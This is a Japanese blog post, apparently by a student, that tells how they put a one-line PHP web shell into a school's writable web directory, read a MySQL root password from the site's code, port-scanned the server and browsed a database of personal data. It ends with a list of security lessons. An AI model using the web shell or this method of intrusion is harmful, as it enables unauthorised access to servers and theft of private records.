2011年09月09日
昨今の学校のセキュリティ事情【第三章 学校のWebサイトについて-コマンドインジェクション/その他】
- 第一章 学校のPC(生徒使用PC)について
- 第二章 学校のWebサイトについて-SQLインジェクション
- 第三章 学校のWebサイトについて-コマンドインジェクション/その他
- 第四章 昨今の学校のセキュリティ事情のまとめ
ここでやっていることはかなり危険な部類も入っています。
真似しないようにお願いします。また、この記事によっていかなる損害が発生してもその責任を負いません。
この記事によって自分のサービスのセキュリティを再認識してもらえばと思います。
第三章
事の発端は学校の部活紹介ページ
こんな感じにですね。
学校の部活を紹介するページがあるのは至って普通で何の変哲もないですよね。
ですがしかし、これは生徒が簡単に書き換えることが出来るのです。
- \\web\club\
みたいな感じに学校のファイルサーバへアクセスするだけですね。Webのルートにはアクセス出来ません。
なので、生徒が学校の部活のページ書き換える事ができても別に不利益ないですよね。
と、うちの学校の技術担当者は思っているんでしょう。
悪意のある生徒ならこのようなファイルを置いて家に帰るはず...
<?php print('<pre>' . shell_exec($_GET['cmd']) . '</pre>');
そう、このディレクトリには実行ファイルの禁止などもなく誰でも自由にファイルを置くことができた。
さてさて家に帰って
さてさて家に帰ってコマンドを色々実行してみると面白いですよね。
といっても大体lsとcatにて学校のWebサイトのプログラムを見ていきます。
そうしていくうちにMySQLを使ったプログラムを見つけるわけですよ。
<?php $mysqlname = 'root'; $mysqlpass = 'XXXXXX';
ぇ・・・・・・・・・
ぇ・・・・・・・・・・・・・・・・・・
ぇ・・・・・・・・・・・・・・・・・・・・・・・・・・・
ぇ・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・
呆れて声が出ないですよね。唖然、呆然ですよね。
この世にMySQLのアカウントをrootで使う人間がいることに脱帽です。
MySQLにいざアクセス!
MySQLでrootのパスワードを手に入れたら誰もがアクセスしたくなりますよね、なりますよね。
さてそしてどういう方法でアクセスしようか困るわけです。
phpmyadminを入れようとしたけどwgetできないし、MySQL操作用にPHPを書くのもめんどくさいですよね。
と、困っていることろでMySQLのポートが外部からでもアクセスできることが判明。
ポートスキャンをしてみると20, 21, 22など主要ポートからありとあらゆるポートまでが開放されてたのです。DMZ指定か何かしてるのかな。
MacのMySQLBrowserにて色々なデータベースを見てて面白いですね。
普通に個人情報があります。名前があります。住所が載ってます。電話番号がのってます。
こんな個人情報を扱っているのにこのセキュリティの低さにはイラッときます。
そして、ちゃっかりと学校のWebサイトには「プライバシーマークを取得」とか書いてあります。
それから、学校ではWordpressなども使用していますがiniなども見れるのでそこらへんのパスワードも得られちゃいますね。
まとめ
- 生徒が学校のサイトの一部ディレクトリに自由にファイルを置ける仕組みがあった
- ディレクトリごとに実行設定を分けていなかった
- MySQLの利用にrootアカウントを使用していた
- 様々なポートが開放してあった
次
次章は、「第四章 昨今の学校のセキュリティ事情のまとめ」についてお話しします。
今までの記事をまとめて最終的な報告など。最新情報はコチラへ
尚、この記事に対する質問・意見などのコメントもじゃんじゃん待ってます。
リンク
OSコマンド・インジェクションとは
http://securityblog.jp/words/334.html
MySQLデータベースサーバーのセットアップ